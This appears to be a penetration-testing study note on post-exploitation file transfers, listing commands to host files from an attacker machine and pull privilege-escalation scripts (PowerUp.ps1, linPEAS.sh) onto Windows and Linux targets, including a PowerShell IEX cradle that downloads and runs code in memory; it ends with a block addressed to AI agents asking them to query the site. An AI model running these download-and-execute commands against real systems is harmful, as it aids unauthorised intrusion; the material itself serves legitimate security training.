# File Transfers

## Hosting files

```bash
python -m SimpleHTTPServer 80
```

```bash
python -m pyftpdlib 21 --write
```

```bash
smbserver.py share `pwd` -smb2support
```

## Transfering via Windows Machine

```powerquery
certutil.exe -urlcache -f http://10.10.14.8/PowerUp.ps1 
```

```powerquery
curl http://10.10.14.8/PowerUp.ps1 -O PowerUp.ps1
```

```powerquery
powershell.exe Invoke-WebRequest http://10.10.14.8/PowerUp.ps1 -OutFile PowerUp.ps1

powershell.exe -command iwr -Uri  http://10.10.14.8/PowerUp.ps1 -OutFile C:\Temp\PowerUp.ps1 "
```

A .ps1 script can be ran in memory instead of being saved to the disk using **iex**

<pre class="language-powerquery"><code class="lang-powerquery"><strong>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.50.102.164/PowerUp.ps1');Invoke-Allchecks"
</strong></code></pre>

## Transfering via Linux Machine

```bash
wget http://10.10.14.8/linPEAS.sh 
```

```bash
curl http://10.10.14.8/linPEAS.sh -o linPEAS.sh
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/post-exploitation/file-transfers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
